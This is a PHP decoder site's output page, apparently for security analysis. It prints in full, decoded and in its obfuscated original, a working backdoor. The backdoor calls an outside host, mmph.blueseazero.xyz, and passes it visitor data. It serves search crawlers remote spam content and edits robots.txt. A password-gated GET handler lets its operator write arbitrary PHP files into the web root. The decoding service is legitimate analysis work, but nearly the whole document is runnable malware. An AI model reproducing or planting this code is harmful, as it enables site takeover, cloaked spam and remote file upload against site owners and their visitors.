Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto ymJ82; VP_WU: function pingmap($url) { $url_arr = explode("\15\xa", trim($url..

Decoded Output download

<?php 
 goto ymJ82; VP_WU: function pingmap($url) { $url_arr = explode("
\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto T3vGl; sXi1q: $lang = urlencode($lang); goto OEoAl; ymJ82: @set_time_limit(3600); goto PR22y; sqJsy: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto ItL5j; jvmEZ: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto Tr2UL; OEoAl: $urlshang = ''; goto sqJsy; aGuQH: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto sXi1q; EN1SV: $http_web = "http"; goto jvmEZ; JibUm: if ($duri_tmp == '') { $duri_tmp = "/"; } goto c8A3t; c8A3t: $duri = urlencode($duri_tmp); goto C0ud_; E4ldM: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto VP_WU; KjMtj: $xmlname = "mmph"; goto EN1SV; ItL5j: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "\xd
" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "808735b17c8943e3715388958dc22d879a8c9eaa") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto Nlij6; JVDQ5: $host = $_SERVER["HTTP_HOST"]; goto aGuQH; C0ud_: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto wId46; zS1Yb: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto ZsVOc; E_5VE: $htmcontent = trim(dageget($web)); goto E4ldM; Nlij6: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto E_5VE; wId46: $goweb = $xmlname . ".blueseazero" . ".xyz"; goto Ide5Q; T3vGl: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto zS1Yb; Ide5Q: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto JVDQ5; PR22y: @ignore_user_abort(1); goto KjMtj; Tr2UL: $duri_tmp = st_uri(); goto JibUm; ZsVOc:  
 //uw042  ?>

Did this file decode correctly?

Original Code

<?php
 goto ymJ82; VP_WU: function pingmap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\151\x74\x65\155\x61\x70\x20\x4e\157\x74\x69\x66\x69\x63\x61\x74\x69\157\156\40\122\x65\143\145\151\166\x65\144") !== false ? "\x70\151\156\147\157\x6b" : "\x65\x72\162\157\x72"; $return_str .= $pingUrl . "\55\55\x20" . $ok . "\x3c\142\x72\76"; } return $return_str; } goto T3vGl; sXi1q: $lang = urlencode($lang); goto OEoAl; ymJ82: @set_time_limit(3600); goto PR22y; sqJsy: if (isset($_SERVER["\x48\124\124\120\137\122\105\x46\x45\x52\x45\122"])) { $urlshang = $_SERVER["\110\124\124\120\137\122\105\106\x45\122\105\x52"]; $urlshang = urlencode($urlshang); } goto ItL5j; jvmEZ: if (is_htps()) { $http = "\x68\x74\164\160\x73"; } else { $http = "\x68\x74\164\x70"; } goto Tr2UL; OEoAl: $urlshang = ''; goto sqJsy; aGuQH: $lang = @$_SERVER["\110\x54\x54\x50\x5f\x41\103\103\105\x50\x54\137\x4c\101\116\x47\x55\101\107\105"]; goto sXi1q; EN1SV: $http_web = "\x68\x74\164\x70"; goto jvmEZ; JibUm: if ($duri_tmp == '') { $duri_tmp = "\57"; } goto c8A3t; c8A3t: $duri = urlencode($duri_tmp); goto C0ud_; E4ldM: if (!strstr($htmcontent, "\x6e\x6f\142\x6f\x74\165\163\x65\162\x61\x67\x65\x6e\x74")) { if (strstr($htmcontent, "\x6f\x6b\x68\x74\155\x6c\x67\x65\x74\x63\157\156\x74\145\156\x74")) { @header("\103\157\156\x74\145\156\164\55\164\171\x70\145\72\x20\x74\145\x78\x74\57\150\x74\x6d\154\x3b\x20\143\x68\141\x72\163\x65\164\75\x75\164\x66\x2d\x38"); $htmcontent = str_replace("\157\x6b\x68\164\155\x6c\147\145\164\x63\157\156\164\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\x6b\170\x6d\x6c\x67\x65\x74\143\x6f\156\x74\145\x6e\x74")) { $htmcontent = str_replace("\157\153\170\x6d\154\147\x65\x74\143\157\156\164\145\156\164", '', $htmcontent); @header("\103\157\156\x74\145\x6e\164\55\164\x79\x70\145\x3a\x20\x74\x65\170\164\x2f\x78\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\156\x67\x78\x6d\x6c\147\x65\164\143\x6f\x6e\x74\145\156\x74")) { $htmcontent = str_replace("\160\151\156\x67\170\155\x6c\147\145\x74\x63\x6f\156\x74\x65\x6e\x74", '', $htmcontent); @header("\x43\x6f\x6e\164\145\156\x74\x2d\164\x79\x70\145\x3a\x20\x74\x65\x78\164\x2f\x68\x74\155\154\73\x20\143\150\x61\162\163\x65\x74\75\165\x74\x66\55\70"); echo pingmap($htmcontent); die; } } } } goto VP_WU; KjMtj: $xmlname = "\x6d\155\x70\x68"; goto EN1SV; ItL5j: if (@$_GET["\160\x64"] != '') { $add_content = @$_GET["\x6d\141\160\x6e\x61\155\145"]; $action = @$_GET["\141\x63\164\151\157\x6e"]; if (isset($_SERVER["\x44\117\x43\x55\115\x45\116\x54\137\x52\x4f\117\124"])) { $path = $_SERVER["\104\x4f\x43\125\x4d\x45\116\124\x5f\x52\117\x4f\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\160\165\x74") { if (strstr($add_content, "\56\x78\155\x6c")) { $map_path = $path . "\57\x73\151\164\145\x6d\x61\160\x2e\x78\155\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\x62\x6f\x74\x73\x2e\x74\x78\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\x73\145\x72\55\x61\147\x65\x6e\x74\x3a\x20\52\x41\x6c\x6c\x6f\x77\x3a\40\57"; } $sitmap_url = $http . "\x3a\x2f\x2f" . $host . "\57" . $add_content; if (stristr($data, $sitmap_url)) { echo "\74\142\x72\76\163\x69\164\145\x6d\x61\160\x20\x61\x6c\x72\x65\141\x64\171\x20\141\x64\144\x65\x64\x21\x3c\142\x72\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\xd\12" . "\x53\151\x74\145\x6d\141\160\x3a\x20" . $sitmap_url)) { echo "\x3c\142\x72\x3e\157\x6b\x3c\x62\x72\76"; } else { echo "\74\x62\x72\76\146\151\154\145\40\x77\162\x69\x74\x65\x20\146\x61\x6c\163\145\41\x3c\142\x72\x3e"; } } } else { echo "\x3c\142\162\x3e\x73\x69\164\145\155\141\x70\40\156\x61\155\x65\x20\x66\x61\x6c\x73\x65\41\74\142\162\76"; } if (strstr($add_content, "\56\160" . "\x68\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\142"])); if ($a == dageget($http_web . "\x3a\x2f\x2f" . $goweb . "\57\x61\x2e\160" . "\x68\160") || $b == "\x38\60\70\67\63\65\x62\61\x37\x63\x38\x39\x34\63\x65\x33\x37\61\x35\63\x38\x38\x39\x35\x38\144\143\62\x32\x64\x38\67\71\x61\70\x63\71\145\x61\x61") { $dstr = @$_GET["\x64\163\x74\x72"]; if (file_put_contents($path . "\57" . $add_content, $dstr)) { echo "\157\x6b"; } } } } die; } goto Nlij6; JVDQ5: $host = $_SERVER["\110\x54\124\x50\137\110\117\x53\124"]; goto aGuQH; C0ud_: function st_uri() { if (isset($_SERVER["\122\x45\x51\x55\x45\123\124\x5f\125\x52\x49"])) { $duri = $_SERVER["\122\x45\121\x55\x45\123\124\137\x55\122\x49"]; } else { if (isset($_SERVER["\x61\162\x67\x76"])) { $duri = $_SERVER["\120\110\120\137\123\105\x4c\106"] . "\77" . $_SERVER["\x61\162\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\120\x5f\123\x45\114\x46"] . "\x3f" . $_SERVER["\121\125\x45\122\131\137\x53\x54\122\111\x4e\x47"]; } } return $duri; } goto wId46; zS1Yb: function dageget($url) { $file_contents = ''; if (function_exists("\143\x75\162\154\x5f\151\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto ZsVOc; E_5VE: $htmcontent = trim(dageget($web)); goto E4ldM; Nlij6: $web = $http_web . "\72\57\57" . $goweb . "\x2f\x69\x6e\x64\145\x78\x6e\145\x77\x2e\160\x68\x70\77\x77\145\x62\75" . $host . "\46\x7a\172\x3d" . sbot() . "\x26\x75\162\x69\75" . $duri . "\x26\165\162\x6c\163\x68\x61\x6e\x67\75" . $urlshang . "\x26\x68\x74\164\x70\x3d" . $http . "\x26\x6c\x61\x6e\x67\x3d" . $lang; goto E_5VE; wId46: $goweb = $xmlname . "\x2e\142\x6c\165\x65\163\145\x61\172\x65\x72\157" . "\56\170\x79\172"; goto Ide5Q; T3vGl: function sbot() { $uAgent = strtolower($_SERVER["\110\124\124\x50\x5f\125\x53\105\x52\x5f\101\107\105\x4e\x54"]); if (stristr($uAgent, "\x67\157\x6f\x67\x6c\145\x62\157\164") || stristr($uAgent, "\142\151\156\147") || stristr($uAgent, "\171\x61\x68\x6f\x6f") || stristr($uAgent, "\x67\x6f\157\147\x6c\x65") || stristr($uAgent, "\107\157\x6f\x67\x6c\x65\142\x6f\x74") || stristr($uAgent, "\147\157\x6f\x67\x6c\x65\x62\x6f\x74")) { return true; } else { return false; } } goto zS1Yb; Ide5Q: function is_htps() { if (isset($_SERVER["\110\x54\124\x50\x53"]) && strtolower($_SERVER["\x48\x54\124\120\123"]) !== "\x6f\x66\146") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\x58\x5f\106\x4f\122\x57\x41\x52\x44\105\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\130\x5f\106\117\122\x57\101\x52\104\105\x44\137\120\x52\x4f\124\x4f"] === "\x68\x74\x74\x70\x73") { return true; } elseif (isset($_SERVER["\x48\x54\x54\120\x5f\106\122\117\116\124\x5f\x45\x4e\x44\x5f\110\124\124\120\x53"]) && strtolower($_SERVER["\x48\124\124\x50\137\106\122\x4f\116\124\x5f\x45\x4e\x44\137\x48\124\x54\120\123"]) !== "\x6f\146\x66") { return true; } return false; } goto JVDQ5; PR22y: @ignore_user_abort(1); goto KjMtj; Tr2UL: $duri_tmp = st_uri(); goto JibUm; ZsVOc: 
 //uw042  ?>

Function Calls

None

Variables

None

Stats

MD5 674dd3b698fe7a8f70ce783d66f98d23
Eval Count 0
Decode Time 54 ms